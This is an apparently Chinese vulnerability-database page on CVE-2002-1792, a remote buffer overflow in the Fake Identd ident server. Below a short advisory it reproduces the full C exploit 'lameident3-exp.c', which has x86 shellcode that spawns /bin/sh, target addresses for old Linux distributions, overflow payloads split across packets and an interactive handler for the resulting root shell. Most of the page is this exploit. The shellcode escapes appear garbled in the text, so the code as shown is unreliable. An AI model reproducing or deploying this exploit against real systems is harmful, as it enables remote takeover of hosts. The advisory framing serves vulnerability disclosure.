Fake Identd远程缓冲区溢出漏洞

Fake Identd远程缓冲区溢出漏洞

漏洞ID 1106877 漏洞类型 边界条件错误
发布时间 2002-07-25 更新时间 2005-10-20
图片[1]-Fake Identd远程缓冲区溢出漏洞-安全小百科CVE编号 CVE-2002-1792
图片[2]-Fake Identd远程缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200212-181
漏洞平台 Linux CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/21663
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-181
|漏洞详情
FakeIdentd是一款小型的使用静态应答的Ident服务程序。FakeIdentd对客户端的查询缺少正确的边界缓冲检查,远程攻击者可以利用这个漏洞进行远程缓冲区溢出攻击。FakeIdentd对客户端的查询存储在静态全局20个字节的缓冲中,相关的代码类似如下:len=0;for(;;){if((l=read(s,buf+len,sizeofbuf))>0){if(query_looks_valid(buf)){reply(s,buf);}}elseif(len+l==sizeofbuf){gotoabort;}else{len+=l;}}上面的代码对缓冲的边界检查不是很充分,通过把数据分离在两个或者多个数据包中,(len+l==sizeofbuf)的检查很容易被绕过。另外,Reply()函数调用fdprint()函数也存在一个固定的缓冲区分配,而进行填充的时候没有进行边界检查,这个缓冲由全局指针(identuser)的值填充,也可以造成缓冲溢出。攻击者精心构建查询的数据可导致以FakeIdentd进程的权限在系统中执行任意指令。
|漏洞EXP
source: http://www.securityfocus.com/bid/5351/info

Fake Identd is an open source Ident server designed to return the same information to all incoming requests. It is implemented by Tomi Ollila, and available for Linux and a number of other Unix based operating systems.

Reportedly, some versions of Fake Identd fail to properly handle long client requests. A specially formatted request split across multiple TCP packets may cause an internal buffer to overflow. Reportedly, execution of arbitrary code as the Fake Identd server process is possible.

/* lameident3-exp.c - [email protected] - http://www.nopninjas.com
 *   this should work for most Linux distributions without needing
 *   any modifications
 *
 * fakeidentd exploit 3rd revision.
 * v1.4 http://software.freshmeat.net/projects/fakeidentd/
 * v1.2 http://hangout.de/fakeidentd/
 *
 * vuln found by Jedi/Sector One
 * Other people who worked on the same bug and shared ideas:
 *   Charles "core" Stevenson, Solar Eclipse
 *
 * 7/25/02
 *
 * Collaborative effort via the [0dd] list. Thanks to Charles Stevenson for
 * running it.
 *
 * 0dd, irc.pulltheplug.com, b0red
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define     ALIGN 1   /* you probably dont need to touch this */
#define IDENTPORT 113
#define    USLEEP 200 /* delays the send()'s to avoid "broken pipe" errors */

#ifdef DEBUG
  #define DUPFD "x04"
#else
  #define DUPFD "x02"
#endif

/* dup() shellcode from Charles Stevenson <[email protected]> */
char lnx86_dupshell[]=
  "x31xc9xf7xe1x51x5bxb0xa4xcdx80x31xc9x6a" DUPFD
  "x5bx6ax3fx58xcdx80x41x6ax3fx58xcdx80x41x6ax3f"
  "x58xcdx80xebx1fx5ex89x76x08x31xc0x88x46x07x89"
  "x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31"
  "xdbx89xd8x40xcdx80xe8xdcxffxffxff/bin/sh";

struct Targets {
  char *name;
  long baseaddr;
  char *shellcode;
};

struct Targets target[] = {
  { "  gcc-2.91.66  x86n"
    "    * Slackware 7.1n"
    "    *    RedHat 6.2n",
    0x0804b0a0, lnx86_dupshell },
  { "  gcc-2.95.3/4 x86n"
    "    * Slackware 8.1n"
    "    *    Debian 3.0n",
    0x0804a260, lnx86_dupshell },
  { (char *)0, 0, (char *)0 }
};

void sh(int sockfd);
int max(int x, int y);

void fail(char *reason) {
  printf("exploit failed: %sn", reason);
  exit(-1);
}

long resolve(char *host) {
  struct in_addr ip;
  struct hostent *he;

  if((ip.s_addr = inet_addr(host)) == -1) {
    if(!(he = gethostbyname(host)))
      return(-1);
    else
      memcpy(&ip.s_addr, he->h_addr, 4);
  }
  return(ip.s_addr);
}

int make_connect(struct in_addr host) {
  int s;
  struct sockaddr_in sin;

  memset(&sin, 0, sizeof(sin));
  sin.sin_family        = AF_INET;
  sin.sin_port          = htons(IDENTPORT);
  sin.sin_addr.s_addr   = host.s_addr;

  if((s = socket(AF_INET, SOCK_STREAM, 0)) <= 0)
    fail("could not create socket");

  if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0)
    fail("could not connectn");

  return(s);
}

int main(int argc, char *argv[]) {
  int s, a, uwait = USLEEP, nops = 500;
  long baseaddr;
  long shelladdr = 0xbfffa090;
  long pointaddr = 0;
  char buf1[2020], buf2[32], *p, *shellcode;
  struct in_addr host;

  printf("lameident3-exp.c by sloth @ b0redn");

  if(argc<3) {
    printf("usage: ./lameident3-exp <target> <host> <send delay in ms>n");
    for(a=0;target[a].baseaddr;a++)
      printf("  %d: %x %s", a, target[a].baseaddr, target[a].name);
    exit(-1);
  }

  for(a=0;a<atoi(argv[1]);a++)
    if(!target[a].baseaddr)
      fail("invalid target");

  baseaddr  = target[a].baseaddr;
  shellcode = target[a].shellcode;
  if(argv[3]) uwait = atoi(argv[3]);

  if((host.s_addr = resolve(argv[2])) == -1)
    fail("invalid host");

  memset(buf1, 0, sizeof(buf1));
  memset(buf1, 0x90, sizeof(buf1)-strlen(shellcode)-1);
  memcpy(&buf1[(sizeof(buf1)-strlen(shellcode)-1)],shellcode,strlen(shellcode));

  s = make_connect(host);

  send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
  usleep(uwait);

  memset(buf2, 0, sizeof(buf2));
  buf2[0] = 'A';
  *(long *)&buf2[1] = shelladdr - baseaddr - 5;

  send(s, buf2, 5, 0);
  usleep(uwait);

  p = buf1;
  printf("Writing shellcode: %d bytes to 0x%x...n", strlen(buf1), shelladdr);

  for(a=0;a<=strlen(buf1), *p;) {

    if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)
      fail("write error");

    p += a;
    usleep(uwait);

  }

  close(s);
  usleep(100);


  s = make_connect(host);

  send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
  usleep(uwait);

  memset(buf2, 0, sizeof(buf2));
  buf2[0] = 'A';
  *(long *)&buf2[1] = shelladdr - baseaddr + strlen(buf1) + 20 - 5;

  send(s, buf2, 5, 0);
  usleep(uwait);

  p = buf1;
  pointaddr = shelladdr + strlen(buf1) + 20;
  printf("Writing pointers to 0x%xn", pointaddr);

  memset(buf1, 0, sizeof(buf1));
  for(a=0;a<=512;a += 4)
    *(long *)&buf1[a] = shelladdr + 500;

  for(a=0;a<=strlen(buf1), *p;) {

    if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)
      fail("write error");

    p += a;
    usleep(uwait);

  }

  close(s);
  usleep(uwait);


  s = make_connect(host);

  send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
  usleep(uwait);

  memset(buf2, 0, sizeof(buf2));
  buf2[0] = 'A';
  *(long *)&buf2[1] = 0xffffffff - 0x9f - 5;

  send(s, buf2, 5, 0);
  usleep(uwait);

  memset(buf2, 0, sizeof(buf2));
  *(long *)&buf2[0] = pointaddr + 200 + ALIGN;

  send(s, buf2, 4, 0);

  close(s);
  usleep(uwait);


  s = make_connect(host);

  send(s, "1234, 1234n", 11, 0);
  usleep(uwait);

  printf("here comes the root shell!n");
  sh(s);

  close(s);
}

/* mixters */
int max(int x, int y) {
  if(x > y)
    return(x);
  return(y);
}

/* mixters sh() */
void sh(int sockfd) {
  char snd[1024], rcv[1024];
  fd_set rset;
  int maxfd, n;

  strcpy(snd, "uname -a; pwd; id;n");
  write(sockfd, snd, strlen(snd));

  for(;;) {
    FD_SET(fileno(stdin), &rset);
    FD_SET(sockfd, &rset);
    maxfd = max(fileno(stdin), sockfd) + 1;
    select(maxfd, &rset, NULL, NULL, NULL);
    if(FD_ISSET(fileno(stdin), &rset)){
      bzero(snd, sizeof(snd));
      fgets(snd, sizeof(snd)-2, stdin);
      write(sockfd, snd, strlen(snd));
    }
    if(FD_ISSET(sockfd, &rset)){
      bzero(rcv, sizeof(rcv));
      if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
        printf("EOF.n");
        exit(0);
      }
      if(n < 0)
        fail("could not spawn shell");
      fputs(rcv, stdout);
    }
  }
}
|参考资料

来源:BID
名称:5351
链接:http://www.securityfocus.com/bid/5351
来源:XF
名称:fake-identd-bo(9731)
链接:http://www.iss.net/security_center/static/9731.php
来源:NSFOCUS
名称:3176
链接:http://www.nsfocus.net/vulndb/3176

相关推荐: Mambo Site Server index.php Cross Site Scripting Vulnerability

Mambo Site Server index.php Cross Site Scripting Vulnerability 漏洞ID 1100610 漏洞类型 Input Validation Error 发布时间 2003-03-18 更新时间 2003-…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享